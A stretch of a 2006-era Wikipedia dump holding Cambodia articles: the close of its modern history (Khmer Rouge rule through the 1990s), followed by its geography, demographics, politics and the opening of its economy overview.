On New Year's Day 1975, Communist troops launched an offensive which, in 117 days of the hardest fighting of the war, collapsed the Khmer Republic. Simultaneous attacks around the perimeter of Phnom Penh pinned down Republican forces, while other CPK units overran fire bases controlling the vital lower Mekong resupply route. A US-funded airlift of ammunition and rice ended when Congress refused additional aid for Cambodia. [[Phnom Penh]] and other cities were subjected to daily rocket attacks causing thousands of civilian casualties. The Lon Nol government in Phnom Penh surrendered on April 17--5 days after the US mission evacuated Cambodia.

==Democratic Kampuchea (1975-1979)==
{{main|Democratic Kampuchea}}
Immediately after its victory, the CPK ordered the evacuation of all cities and towns, sending the complete urban population out into the countryside to work as farmers, as the CPK was trying to reshape society into a model that Pol Pot had conceived.

Thousands had been starving and dying of disease prior to the CPK takeover.  Thousands starved or died of disease during the evacuation and its aftermath. Many of those forced to evacuate the cities were resettled in newly created villages, which lacked food, agricultural implements, and medical care. Many who lived in cities had lost the skills necessary for survival in an agrarian environment.  Thousands starved before the first harvest. Hunger and malnutrition--bordering on starvation--were constant during those years. Most military and civilian leaders of the former regime who failed to disguise their pasts were executed.

Within the CPK, the Paris-educated leadership--[[Pol Pot]], [[Ieng Sary]], [[Nuon Chea]], and [[Son Sen]]--were in control. A new constitution in January 1976 established Democratic Kampuchea as a Communist People's Republic, and a 250-member Assembly of the Representatives of the People of Kampuchea (PRA) was selected in March to choose the collective leadership of a State Presidium, the chairman of which became the head of state.

Prince Sihanouk resigned as head of state on April 4. On April 14, after its first session, the PRA announced that [[Khieu Samphan]] would chair the State Presidium for a 5-year term. It also picked a 15-member cabinet headed by Pol Pot as prime minister. Prince Sihanouk was put under virtual house arrest.

The new government sought to completely restructure Cambodian society. Remnants of the old society were abolished and religion, particularly [[Buddhism]] and [[Catholicism]], was suppressed. Agriculture was collectivized, and the surviving part of the industrial base was abandoned or placed under state control. Cambodia had neither a currency nor a banking system. 

Life in 'Democratic Kampuchea' was strict and brutal. In many areas of the country people were rounded up and executed for speaking a foreign language, wearing glasses, scavenging for food, and even crying for dead loved ones. Former businessmen and bureaucrats were ruthlessly hunted down and killed along with their entire families; the Khmer Rouge feared that they held beliefs that could lead them to oppose their regime. A few Khmer Rouge loyalists were even killed for failing to find enough 'counterrevolutionaires' to find and execute.

Solid estimates of the numbers who died between 1975 and 1979 are not available, but it is likely that hundreds of thousands were brutally executed by the regime. Hundreds of thousands died of starvation and disease (both under the CPK and during the Vietnamese invasion in 1978). Some estimates of the dead range from 1 to 3 million, out of a 1975 population estimated at 7.3 million.  The CIA estimated 50,000-100,000 were executed from 1975 to 1979, mostly around the time of the invasion by Vietnam.

Democratic Kampuchea's relations with [[Vietnam]] and [[Thailand]] worsened rapidly as a result of border clashes and ideological differences. While communist, the CPK was fiercely pro-Cambodia, and most of its members who had lived in Vietnam were purged. Democratic Kampuchea established close ties with the [[People's Republic of China]], and the Cambodian-Vietnamese conflict became part of the Sino-[[Soviet Union|Soviet]] rivalry, with Moscow backing Vietnam. Border clashes worsened when Democratic Kampuchea's military attacked villages in Vietnam. The regime broke relations with Hanoi in December 1977, protesting Vietnam's attempt to create an Indochina Federation. In mid-1978, Vietnamese forces invaded Cambodia, advancing about 30 miles before the arrival of the rainy season.

The reasons for Chinese support of the CPK was to prevent a pan-Indochina movement, and maintain Chinese military superiority in the region.  The Soviet Union supported a strong Vietnam in order to maintain a second front against China in case of hostilities and to prevent further Chinese expansion.  Since Stalin's death, relations between Mao-controlled China and the Soviet Union were luke-warm at best.  In the late 1970s and early 1980s, China and Vietnam would fight the brief [[Sino-Vietnamese War]] over the issue.

In December 1978, Vietnam announced formation of the Kampuchean United Front for National Salvation (KUFNS) under [[Heng Samrin]], a former DK division commander. It was composed of Khmer Communists who had remained in Vietnam after 1975 and officials from the eastern sector--like Heng Samrin and Hun Sen--who had fled to Vietnam from Cambodia in 1978. In late December 1978, Vietnamese forces launched a full invasion of Cambodia, capturing Phnom Penh on January 7 and driving the remnants of Democratic Kampuchea's army westward toward Thailand.

==Modern Cambodia==
{{main|History of Cambodia (1979-present)}}
Cambodia was under [[Vietnam]]ese occupation and in a [[civil war]] during the [[1980s]]. Peace efforts intensified in [[1989]] and [[1991]] with two international conferences in [[Paris]], and a [[UN peacekeeping]] mission helped maintain a cease-fire.

[[UN]]-sponsored elections in 1993 helped restore some semblance of normalcy as did the rapid diminishment of the Khmer Rouge in the mid-1990s. [[Norodom Sihanouk]] was reinstated as King. A coalition government, formed after national elections in 1998, brought renewed political stability and the surrender of remaining Khmer Rouge forces in 1998.

==See also==
*[[History of Asia]]
*[[History of present-day nations and states]]

==Notes==
# {{note|Davidson}} Davidson, Phillip B. ''Vietnam at War: The History 1946-1975''. 1988. P. 593

# {{note|Encyclopedia}} ''The Encyclopedia of World History''. Ed. Peter N. Stearns. 2001. P. 1012 

==References==
*State Department [http://www.state.gov/r/pa/ei/bgn/2732.htm#history Background Note: Cambodia]
*Summary of UNTAC mission [http://www.un.org/Depts/dpko/dpko/co_mission/untacbackgr1.html]
*{{loc}} - [http://lcweb2.loc.gov/frd/cs/khtoc.html Cambodia]
*[http://www.mekong.net/ Mekong Network]

[[bg:История на Камбоджа]]
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[[ja:カンボジアの歴史]]
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[[zh:柬埔寨历史]]</text>
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    <title>Geography of Cambodia</title>
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      <comment>/* Sources */ {{Asia in topic|Geography of}}</comment>
      <text xml:space="preserve">[[image:cambodia sm04.png|right|Map Of Cambodia]]			

[[Cambodia]] is a country in [[Southeastern Asia]], bordering the [[Gulf of Thailand]], between [[Thailand]], [[Vietnam]], and [[Laos]].  Its approximate geographical coordinates are {{coor d|13|N|105|E|}}.  Its 2,572 km border is split among Vietnam (1,228 km), Thailand (803 km) and Laos (541 km), as well as 443 km of coastline. Cambodia covers 181,040 square kilometers in the southwestern part of the Indochina peninsula. It lies completely within the tropics; its southernmost points are only slightly more than 10° above the equator. Roughly square in shape, the country is bounded on the north by Thailand and by Laos, on the east and southeast by Vietnam, and on the west by the Gulf of Thailand and by Thailand. Much of the country's area consists of rolling plains. Dominant features are the large, almost centrally located, Tonle Sap (Great Lake) and the Mekong River, which traverses the country from north to south.

The climate is monsoonal and has marked wet and dry seasons of relatively equal length. Both temperature and humidity generally are high throughout the year. Forest covers about two-thirds of the country, but it has been somewhat degraded in the more readily accessible areas by burning (a method called slash-and-burn agriculture), and by shifting agriculture. 

Total area 181,040 square kilometers, about size of [[Missouri]]; country shares 803-kilometer border with Thailand on north and west, 541-kilometer border with Laos on northeast, 1,228-kilometer border with Vietnam on east and southeast, for a total of 2,572 kilometers of land borders; coastline along Gulf of Thailand about 443 kilometers.

==Topography==
[[Image:Cambodia_1997_CIA_map.jpg|thumb|right|300px|Detailed map of Cambodia]]
Cambodia falls within several well-defined geographic regions. The largest part of the country--about 75 percent of the total-- consists of the Tonle Sap Basin and the Mekong Lowlands. To the southeast of this great basin is the Mekong Delta, which extends through Vietnam to the South China Sea. The basin and delta regions are rimmed with mountain ranges to the southwest (the Cardamom Mountains the Elephant Range) and to the north (Dangrek Mountains). Higher land to the northeast and to the east merges into the Central Highlands of southern Vietnam.

The Tonle Sap Basin-Mekong Lowlands region consists chiefly of plains with elevations generally of less than 100 meters. As the elevation increases, the terrain becomes more rolling and dissected.

The Cardamom Mountains in the southwest, oriented generally in a northwest-southeast direction, rise to more than 1,500 meters. The highest mountain in Cambodia--Phnom Aural, at 1,771 meters--is in the eastern part of this range. The Elephant Range, an extension running toward the south and the southeast from the Cardamom Mountains, rises to elevations of between 500 and 1,000 meters. These two ranges are bordered on the west by a narrow coastal plain that contains Kampong Saom Bay, which faces the Gulf of Thailand. This area was largely isolated until the opening of the port of Kampong Saom (formerly called Sihanoukville) and the construction of a road and railroad connecting Kampong Saom, Kampot, Takev, and Phnom Penh in the 1960s.

The Dangrek Mountains at the northern rim of the Tonle Sap Basin consist of a steep escarpment with an average elevation of about 500 meters, the highest points of which reach more than 700 meters. The escarpment faces southward and is the southern edge of the Korat Plateau in Thailand. The watershed along the escarpment marks the boundary between Thailand and Cambodia. The main road through a pass in the Dangrek Mountains at O Smach connects northwestern Cambodia with Thailand. Despite this road and those running through a few other passes, in general the escarpment impedes easy communication between the two countries. Between the western part of the Dangrek and the northern part of the Cardamom ranges, however, lies an extension of the Tonle Sap Basin that merges into lowlands in Thailand, which allows easy access from the border to Bangkok.

The Mekong Valley, which offers a communication route between Cambodia and Laos, separates the eastern end of the Dangrek Mountains and the northeastern highlands. To the southeast, the basin joins the Mekong Delta, which, extending into Vietnam, provides both water and land communications between the two countries. 

==Climate==
[[Image:Seasonal flooding in Thailand and Cambodia.jpg|thumb|right|300px|Seasonal flooding in Cambodia and Thailand]]
Cambodia's climate--like that of the rest of Southeast Asia--is dominated by the monsoons, which are known as tropical wet and dry because of the distinctly marked seasonal differences. The monsoonal airflows are caused by annual alternating high pressure and low pressure over the Central Asian landmass. In summer, moisture-laden air--the southwest monsoon--is drawn landward from the Indian Ocean. The flow is reversed during the winter, and the northeast monsoon sends back dry air. The southwest monsoon brings the rainy season from mid-May to mid-September or to early October, and the northeast monsoon flow of drier and cooler air lasts from early November to March. The southern third of the country has a two-month dry season; the northern two-thirds, a four-month one. Short transitional periods, which are marked by some difference in humidity but by little change in temperature, intervene between the alternating seasons. Temperatures are fairly uniform throughout the Tonle Sap Basin area, with only small variations from the average annual mean of around 25°C. The maximum mean is about 28°C; the minimum mean, about 22°C. Maximum temperatures of higher than 32°C, however, are common and, just before the start of the rainy season, they may rise to more than 38°C. Minimum temperatures rarely fall below 10°C. January is the coldest month, and April is the warmest. Typhoons--tropical cyclones--that often devastate coastal Vietnam rarely cause damage in Cambodia.

The total annual rainfall average is between 100 and 150 centimeters, and the heaviest amounts fall in the southeast. Rainfall from April to September in the Tonle Sap Basin-Mekong Lowlands area averages 130 to 190 centimeters annually, but the amount varies considerably from year to year. Rainfall around the basin increases with elevation. It is heaviest in the mountains along the coast in the southwest, which receive from 250 to more than 500 centimeters of precipitation annually as the southwest monsoon reaches the coast. This area of greatest rainfall, however, drains mostly to the sea; only a small quantity goes into the rivers flowing into the basin. The relative humidity is high at night throughout the year; usually it exceeds 90 percent. During the daytime in the dry season, humidity averages about 50 percent or slightly lower, but it may remain about 60 percent in the rainy period.

==Drainage==
Except for the smaller rivers in the southeast, most of the major rivers and river systems in Cambodia drain into the Tonle Sap or into the Mekong River. The Cardamom Mountains and Elephant Range form a separate drainage divide. To the east the rivers flow into the Tonle Sap, while on the west they flow into the Gulf of Thailand. Toward the southern end of the Elephant Mountains, however, because of the topography, some small rivers flow southward on the eastern side of the divide.

The Mekong River in Cambodia flows southward from the CambodiaLaos border to a point below Kracheh city, where it turns west for about 50 kilometers and then turns southwest to Phnom Penh. Extensive rapids run above Kracheh city. From Kampong Cham the gradient slopes very gently, and inundation of areas along the river occurs at flood stage--June through November--through breaks in the natural levees that have built up along its course. At Phnom Penh four major water courses meet at a point called the Chattomukh (Four Faces). The Mekong River flows in from the northeast and the Tonle Sab--a river emanating from the Tonle Sap--flows in from the northwest. They divide into two parallel channels, the Mekong River proper and the Basak River, and flow independently through the delta areas of Cambodia and Vietnam to the South China Sea.

The flow of water into the Tonle Sab is seasonal. In September or in October, the flow of the Mekong River, fed by monsoon rains, increases to a point where its outlets through the delta cannot handle the enormous volume of water. At this point, the water pushes northward up the Tonle Sab and empties into the Tonle Sap, thereby increasing the size of the lake from about 2,590 square kilometers to about 24,605 square kilometers at the height of the flooding. After the Mekong's waters crest--when its downstream channels can handle the volume of water--the flow reverses, and water flows out of the engorged lake.

As the level of the Tonle Sap retreats, it deposits a new layer of sediment. The annual flooding, combined with poor drainage immediately around the lake, transforms the surrounding area into marshlands unusable for agricultural purposes during the dry season. The sediment deposited into the lake during the Mekong's flood stage appears to be greater than the quantity carried away later by the Tonle Sab River. Gradual silting of the lake would seem to be occurring; during low-water level, it is only about 1.5 meters deep, while at flood stage it is between 10 and 15 meters deep.

==Regional divisions==
Cambodia's boundaries were for the most part based upon those recognized by France and by neighboring countries during the colonial period. The 800-kilometer boundary with Thailand, coincides with a natural feature, the watershed of the Dangrek Mountains, only in its northern sector. The 541-kilometer border with Laos and the 1,228-kilometer border with Vietnam result largely from French administrative decisions and do not follow major natural features. Border disputes have broken out in the past between Cambodia and Thailand as well as between, Cambodia and Vietnam.

==Area and boundaries==
'''Area:'''
&lt;br&gt;''total:''
181,040 km&amp;sup2;
&lt;br&gt;''land:''
176,520 km&amp;sup2;
&lt;br&gt;''water:''
4,520 km&amp;sup2;

'''Maritime claims:'''
&lt;br&gt;''contiguous zone:''
24 nm
&lt;br&gt;''continental shelf:''
200 nm
&lt;br&gt;''exclusive economic zone:''
200 nm
&lt;br&gt;''territorial sea:''
12 nm

'''Elevation extremes:'''
&lt;br&gt;''lowest point:''
Gulf of Thailand 0 m
&lt;br&gt;''highest point:''
Phnum Aoral 1,810 m

==Resources and land use==
'''Natural resources:'''
[[timber]], [[gemstone]]s, some [[iron]] ore, [[manganese]], [[phosphate]]s, [[hydropower]] potential

'''Land use:'''
&lt;br&gt;''arable land:''
13%
&lt;br&gt;''permanent crops:''
0%
&lt;br&gt;''permanent pastures:''
11%
&lt;br&gt;''forests and woodland:''
66%
&lt;br&gt;''other:''
10% (1993 est.)

'''Irrigated land:'''
920 km&amp;sup2; (1993 est.)

==Environmental concerns==
'''Natural hazards:'''
monsoonal rains (June to November); flooding; occasional droughts

'''Environment - current issues:'''
illegal logging activities throughout the country and strip mining for gems in the western region along the border with Thailand have resulted in habitat loss and declining biodiversity (in particular, destruction of mangrove swamps threatens natural fisheries); soil erosion; in rural areas, a majority of the population does not have access to potable water; toxic waste delivery from Taiwan sparked unrest in Kampong Saom (Sihanoukville) in December 1998

'''Environment - international agreements:'''
&lt;br&gt;''party to:''
[[Biodiversity]], [[United Nations Framework Convention on Climate Change|Climate Change]], [[Desertification]], [[Endangered Species]], [[Marine Life Conservation]], Ship Pollution ([[MARPOL 73/78]]), [[Tropical Timber 94]], [[Wetlands]]
&lt;br&gt;''signed, but not ratified:''
[[Law of the Sea]], [[Marine Dumping]]

'''Geography - note:'''
a land of paddies and forests dominated by the [[Mekong River]] and Tonle Sap

'''Lakes'''
* [[Tonlé Sap Lake]]

==Sources==
*[http://lcweb2.loc.gov/frd/cs/cshome.html Library of Congress, Country Studies]
*''CIA World Fact Book''

{{Asia in topic|Geography of}}

[[Category:Geography of Cambodia| ]]
[[Category:Geography by country|Cambodia]]
[[pt:Geografia do Camboja]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Cambodia</title>
    <id>5430</id>
    <revision>
      <id>39207851</id>
      <timestamp>2006-02-11T14:26:03Z</timestamp>
      <contributor>
        <username>Bobblewik</username>
        <id>51235</id>
      </contributor>
      <minor />
      <comment>Implement MoS. x percent or x per cent -&gt; x %</comment>
      <text xml:space="preserve">[[Image:Cambodia-demography.png|thumb|300px|right|Number of inhabitants between [[1961]] and [[2001]] in thousands. Note the decrease during the Khmer Rouge years (1975-1979). FAO Data, Demographics of Cambodia]]

Between [[1874]] and [[1921]], the total population of [[Cambodia]] increased from about 946,000 to 2.4 million. By [[1950]] it had increased to between 3,710, 107 and 4,073,967, and in 1962 it had reached 5.7 million. From the 1960s until [[1975]], the population of Cambodia increased by about 2.2 % yearly, the lowest increase in [[Southeast Asia]]. By 1975 when the [[Khmer Rouge]] took power, it was estimated at 7.3 million. Of this total an estimated one million to two million reportedly died between 1975 and [[1978]]. In [[1981]] the PRK gave the official population figure as nearly 6.7 million, although approximately 6.3 million to 6.4 million is probably a more accurate one. The average annual rate of population growth from 1978 to [[1985]] was 2.3 % (see table 2, Appendix A). [[Life expectancy]] at birth was 44.2 years for males and 43.3 years for females in [[1959]]. By 1970 life expectancy had increased by about 2.5 years since [[1945]]. The greater [[longevity]] for females apparently reflected improved health practices during [[maternity]] and childbirth.

In 1959 about 45 % of the population was under 15 years of age; by 1962 this figure had increased slightly to 46 %. In [[1962]] an estimated 52 % of the population was between 15 and 64 years of age, while 2 % was older than 65. The percentage of males and females in the three groups was almost the same. 

==Demographic data from the CIA World Factbook==

===Population===
:13,607,069
:''Note'': estimates for this country take into account the effects of excess [[mortality]] due to [[AIDS]]; this can result in lower life expectancy, higher [[infant mortality]] and [[death rates]], lower population growth rates, and changes in the distribution of population by age and sex than would otherwise be expected (July 2005 est.)

===Age structure===
:0-14 years: 37.3% (male 2,559,734/female 2,510,235)
:15-64 years: 59.7% (male 3,887,642/female 4,232,313)
:65 years and over: 3.1% (male 150,862/female 266,283) (2005 est.)

===[[Median]] age===
:Total: 19.91 years
:Male: 19.16 years
:Female: 20.79 years (2005 est.)

===Population growth rate===
:1.81% (2005 est.)

===Birth rate===
:27.08 births/1,000 population (2005 est.)

===Death rate===
:8.97 deaths/1,000 population (2005 est.)

===Net migration rate===
:0 migrant(s)/1,000 population (2005 est.)

===[[Sex ratio]]===
:At birth: 1.05 male(s)/female
:Under 15 years: 1.02 male(s)/female
:15-64 years: 0.92 male(s)/female
:65 years and over: 0.57 male(s)/female
:Total population: 0.94 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 71.48 deaths/1,000 live births
:Male: 80.13 deaths/1,000 live births
:Female: 62.43 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 58.87 years
:Male: 55.92 years
:Female: 61.96 years (2005 est.)

===Total [[fertility rate]]===
:3.44 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 2.6% (2003 est.)
:People living with [[HIV]]/AIDS: 170,000 (2003 est.)
:Deaths: 15,000 (2003 est.)

===Major infectious diseases===
:Degree of risk: very high
:Food or waterborne diseases: bacterial and protozoal [[diarrhea]], [[hepatitis A]], and [[typhoid]] fever
:Vectorborne diseases: [[dengue fever]], [[malaria]], and [[Japanese encephalitis]] are high risks in some locations (2004)

===Nationality===
:Noun: Cambodian(s)
:Adjective: Cambodian

===Ethnic groups===
:[[Khmer people|Khmer]] 90%, [[Vietnam]]ese 5%, [[China|Chinese]] 1%, other 4%. The population of Cambodia has been fairly homogeneous. In 1962 about 80 % of the population was ethnic Khmer. The remaining 20 % included Chinese, [[Vietnam]]ese, [[Cham people|Cham]], [[Khmer Loeu]], Europeans. By 1981, as a result of the Vietnamese repatriation in 1970 to 1971 and the deaths and emigration of large numbers of Cham and Chinese, ethnic Khmer accounted for about 90 % or more of the population.

===Religions===
:[[Theravada Buddhist]] 95%, other 5%

===Languages===
:Khmer (official) 95%, French, English

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 69.4%
:Male: 80.8%
:Female: 59.3% (2002)

==References==
{{CIA WFB 2005}}

[[Category:Demographics by country|Cambodia]]
[[Category:Cambodian society]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Cambodia</title>
    <id>5431</id>
    <revision>
      <id>40407629</id>
      <timestamp>2006-02-20T09:09:33Z</timestamp>
      <contributor>
        <ip>68.39.174.238</ip>
      </contributor>
      <comment>Link</comment>
      <text xml:space="preserve">{{Politics of Cambodia}}
According to the nation's [[constitution]] (enacted in 1993), [[Cambodia]] is officially a multi-party [[liberal democracy]] under a [[constitutional monarch]]. 

==The Prime Minister and Council of Ministers==

The [[Prime Minister]] of Cambodia is a representative from the ruling party of the National Assembly. He or she is appointed by the King on the recommendation of the President and Vice Presidents of the National Assembly.  In order for a person to become Prime Minister, he or she must first be given a vote of confidence by the National Assembly.

The Prime Minister is officially the [[Head of Government]] in Cambodia. Upon entry into office, he appoints a Council of Ministers who are responsible to the Prime Minister.  Officially, the Prime Minister's duties include chairing meetings of the Council of Ministers (Cambodia's version of a [[Cabinet]]) and appointing and leading a government. The Prime Minister and his government make up Cambodia's [[executive (government)|executive branch]] of government.

The current Cambodian Prime Minister is Cambodian's People Party (CPP) member [[Hun Sen]]. He has held this position since the criticized 1998 election, one year after the CPP staged a bloody [[Coup d'etat|coup]] in Phnom Penh[http://cambodia.ohchr.org/Documents/Statements%20and%20Speeches/English/40.pdf][http://www.hri.org/docs/statedep/1997/97-07-08.std.html] to overthrow elected Prime Minister Prince Norodom Ranariddh, president of the FUNCINPEC party.

==The Legislative Branch==

The [[legislature|legislative branch]] of the Cambodian government is made up of a [[bicameral]] [[parliament]].

The official duty of the Parliament is to legislate and make laws.  Bills passed by the Parliament are given to the King who gives the proposed bills [[Royal Assent]].  The King does not have [[veto]] power over bills passed by the National Assembly (the lower house) and, thus, cannot withhold Royal Assent.  The National Assembly also has the power to dismiss the Prime Minister and his government by a two-thirds [[vote of no confidence]].

===Senate===

The upper house of the Cambodian legislature is called the ''Senate''. It is made up of 61 members.  Two of these members are appointed by the King, two are elected by the lower house of the government, and the remaining fifty-seven are elected popularly by &quot;functional constituencies.&quot;  Members in this house serve five year terms.

Elections were last held for the Senate in 1999. New elections were supposed to have occurred in 2004, but these elections were initially postponed. On January 22, 2006, 11,352 possible voters went to the poll and chose their candidates. This election was criticized by local monitoring non-governmental organizations as being undemocratic[http://news.bbc.co.uk/2/hi/asia-pacific/4638406.stm].

[[As of 2006]], the [[Cambodian People's Party]] holds 43 seats in the Senate, constituting a slight majority. The two other major parties holding seats in the Senate are the [[Funcinpec]] party (holding 12 seats) and the [[Sam Rainsy Party]] (holding two seats).

===National Assembly===

The lower house of the legislature is called the ''National Assembly''.  It is made up of 123 members, elected by popular vote to serve five year terms.  Elections were last held for the National Assembly in 2003, with the next elections scheduled for July 2008.

In order to vote in legislative elections, one must be at least eighteen years of age. However, in order to be elected to the Legislature, one must be at least twenty-five years of age.

The National Assembly is led by a President and two Vice Presidents who are selected by Assembly members prior to each session.

[[As of 2005]], the [[Cambodian People's Party]] holds a majority of the seats in the National Assembly, controlling 73 out of the 123 seats. The [[Funcinpec]] party holds 26 seats, while the [[Sam Rainsy Party]] holds the remaining 24 seats.

==Political parties and elections==
{{elect|List of political parties in Cambodia|Elections in Cambodia}}
{{Cambodian parliamentary election, 2003}}
==The Judicial Branch==

The [[judiciary|judicial branch]] should be independent from the rest of the government, as specified by the Cambodian [[Constitution]].  The highest court of judicial branch is the [[Supreme Council of the Magistracy]].  Other, lower courts also exist.  Until 1997, Cambodia didn't have a judicial branch of government despite the nation's Constitution requiring one.

The main duties of the judiciary are to prosecute criminals, settling lawsuits, and, most importantly, protect the freedoms and rights of Cambodian citizens. However, in reality, the judicial branch in Cambodia is highly corrupt and often serves as a tool used by executive branch to silence civil society and its leaders[http://hrw.org/english/docs/2006/01/18/cambod12269.htm].

==The Monarchy==

Cambodia is a [[constitutional monarchy]]--the King reigns but does not rule, similar to Queen [[Elizabeth II of the United Kingdom]]. The King is officially the [[Head of State]] and is the symbol of unity and &quot;eternity&quot; of the nation, as defined by Cambodia's constitution.

From [[September 24]], [[1993]] through [[October 7]], [[2004]], [[Norodom Sihanouk]] reigned as King.  Under the Constitution the King has no political power, but as Norodom Sihanouk was revered in the country, his word often carried much influence in the government.  For example, in February 2004, he issued a proclamation stating that since Cambodia is a &quot;liberal democracy,&quot; the Kingdom should allow [[gay marriage]].  While such views aren't prevalent in Cambodia, his word was respected by his subjects.  The King, often irritated over the conflicts in his government, several times threatened to abdicate unless the political factions in the government got along.  This put pressure on the government to solve their differences.  This influence of the King was often used to help mediate differences in government.

After the abdication of King Norodom Sihanouk in 2004, he was succeeded by his son [[Norodom Sihamoni]].  While the retired King is highly revered in his country for dedicating his lifetime to Cambodia, the current King has spent most of his life abroad in [[France]].  Thus, it remains to be seen whether the new king's views will be as highly respected as his father's.

Although in the [[Khmer language]] there are many words meaning &quot;king&quot;, the word officially used in Khmer (as found in the 1993 Cambodian Constitution) is ''preahmâhaksat'' (Khmer regular script:[[Image:Seihamuni11.png|80px]]), which literally means: ''preah''- (&quot;sacred&quot;, cognate of the Indian word [[Brahmin]]) -''mâha''- (from [[Sanskrit]], meaning &quot;great&quot;, cognate with &quot;maha-&quot; in [[maharaja]]) -''ksat'' (&quot;warrior, ruler&quot;, cognate of the Indian word [[Kshatriya]]).

On the occasion of HM King Norodom Sihanouk's retirement in September 2004, the Cambodian National Assembly coined a new word for the retired king: ''preahmâhaviraksat'' (Khmer regular script:[[Image:Sihanouk6.png|90px]]), where ''vira'' comes from Sanskrit ''{{IPA|v&amp;#299;ra}}'', meaning &quot;brave or eminent man, hero, chief&quot;, cognate of [[Latin]] ''vir'', ''viris'', [[English language|English]] ''virile''. ''Preahmâhaviraksat'' is translated in English as &quot;King-Father&quot; ([[French language|French]]: ''Roi-Père''), although the word &quot;father&quot; does not appear in the Khmer noun.

As ''preahmâhaviraksat'', Norodom Sihanouk retains many of the prerogatives he formerly held as ''preahmâhaksat'' and is a highly respected and listened-to figure. Thus, in effect, Cambodia can be described as a country with two heads of state: an official one, the ''preahmâhaksat'' Norodom Sihamoni, and an unofficial one, the ''preahmâhaviraksat'' Norodom Sihanouk.

===Succession to the Throne===

Unlike most monarchies, Cambodia's monarchy isn't necessarily [[hereditary monarchy|hereditary]] and the King is not allowed to select his own heir.  Instead, a new King is chosen by a Royal Council of the Throne, consisting of the president of the National Assembly, the Prime Minsiter, the Chiefs of the orders of Mohanikay and Thammayut, and the First and Second Vice-President of the Assembly.  The Royal Council meets within a week of the King's death or abdication and selects a new King from a pool of candidates with royal blood.

It has been suggested that Cambodia's ability to peacefully appoint a new King shows that Cambodia's government has stabilized incredibly from the situation the country was in during the 1970's (see [[History of Cambodia]]).

==Other Facts==

'''Legal system:'''
primarily a civil law mixture of French-influenced codes from the United Nations Transitional Authority in Cambodia (UNTAC) period, royal decrees, and acts of the legislature, with influences of customary law and remnants of communist legal theory; increasing influence of common law in recent years

'''International organization participation:'''
ACCT, [[Asian Development Bank|AsDB]], ASEAN, CP, ESCAP, FAO, G-77, IAEA, IBRD, ICAO, [[International Criminal Court|ICC]], ICRM, IDA, IFAD, IFC, IFRCS, ILO, IMF, IMO, Intelsat (nonsignatory user), [[International Monetary Fund]], Interpol, IOC, ISO (subscriber), ITU, NAM, OPCW, PCA, [[United Nations|UN]], UNCTAD, UNESCO, UNIDO, UPU, [[World Bank|WB]], WFTU, WHO, WIPO, WMO, [[World Trade Organization|WTO]], WToO, WTrO (applicant)

==See also==
* [[List of political parties in Cambodia]]
* [[Cambodia]]

==Resources==
* [http://www.constitution.org/cons/cambodia.htm Constitution of Cambodia]
* [http://www.electionworld.org/cambodia.htm Elections in Cambodia]
* [http://www.cia.gov/cia/publications/factbook/geos/cb.html#Govt Cambodia at the CIA World Factbook]

==External links==

===Royalty===
*[http://www.norodomsihamoni.net King of Cambodia, Norodom Sihamoni] Official Website of King Norodom Sihamoni
*[http://www.norodomsihanouk.info King of Cambodia, Norodom Sihanouk] Official Website of former King Norodom Sihanouk

===Official===
*[http://www.cambodia.gov.kh/unisql1/egov/english/home.frame.html Cambodia.gov.kh] Official Royal Government of Cambodia Website (English Version) ([http://www.cambodia.gov.kh/unisql2/egov/khmer/home.view.html Cambodia.gov.kh Khmer Version])
*[http://www.cdc-crdb.gov.kh CDC] Council for the Development of Cambodia
*[http://www.ccc.gov.kh/ Conseil Constitutionnel du Cambodge] Constitution council of Cambodia
*[http://www.maff.gov.kh/ Department of Fisheries]
*[http://www.foodsecurity.gov.kh/ Food Security and Nutrition Information System Cambodia]
*[http://www.moc.gov.kh/ Ministry of Commerce]
*[http://www.moi-coci.gov.kh/culture/ Ministry of Culture and Fine Arts]
*[http://www.mef.gov.kh/ Ministry of Economy and Finance]
*[http://www.moeys.gov.kh Ministry of Education, Youth and Sport]
*[http://www.camnet.com.kh/moe Ministry of Environment]
*[http://www.mptc.gov.kh/ Ministry of Posts and Telecommunications]
*[http://www.mpwt.gov.kh/ Ministry of Public Works and Transport]
*[http://www.mot.gov.kh Ministry of Tourism]
*[http://www.nida.gov.kh/ NiDA] National Information Communications Technology Development Authority
*[http://www.nis.gov.kh/ NIS] National Institute of Statistics of Cambodia
*[http://www.cambodia.gov.kh/unisql1/egov/english/home.view.html Cambodia e-Gov Homepage]

{{CIAfb}}

{{ASEAN}}

[[Category:Politics of Cambodia]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Cambodia</title>
    <id>5432</id>
    <revision>
      <id>25287493</id>
      <timestamp>2005-10-11T16:53:39Z</timestamp>
      <contributor>
        <username>CalJW</username>
        <id>233571</id>
      </contributor>
      <comment>moved to top of own category</comment>
      <text xml:space="preserve">{{CIA}}
'''[[Economics|Economy]] - overview:'''
In spite of recent progress, the [[Cambodia]]n economy continues to suffer from the legacy of decades of [[war]] and internal strife. [[Per capita income]], although rapidly increasing, is low compared with most neighbouring countries. The main domestic activity on which most rural households depend is [[agriculture]] and its related sub-sectors. [[Manufacturing]] output is varied but is not very extensive and is mostly conducted on a small-scale and informal basis. The service sector is heavily concentrated in trading activities and catering-related services.

During [[1995]], the government implemented firm stabilization policies under difficult circumstances. Overall, macroeconomic performance was good. Growth in 1995 was estimated at 7% because of improved agricultural production ([[rice]] in particular). Strong growth in [[construction]] and services continued. Inflation dropped from 26% in 1994 to only 6% in 1995. Imports increased as a result of the availability of external financing. Exports also increased, due to an increase in log exports. With regard to the budget, both the current and overall deficits were lower than originally targeted.

After four years of solid macroeconomic performance, Cambodia's economy slowed dramatically in [[1997]]-[[1998|98]] due to the regional economic crisis, civil violence, and political infighting. Foreign investment and [[tourism]] fell off. Also, in 1998 the main harvest was hit by drought. But in [[1999]], the first full year of peace in 30 years, progress was made on economic reforms and growth resumed at 4%. The long-term development of the economy after decades of war remains a daunting challenge. The population lacks education and productive skills, particularly in the [[poverty]]-ridden countryside, which suffers from an almost total lack of basic [[infrastructure]]. Recurring political instability and corruption within government discourage foreign investment and delay foreign aid. On the brighter side, the government is addressing these issues with assistance from bilateral and multilateral donors. So long as political stability lasts, the Cambodian economy is likely to grow at a respectable pace.

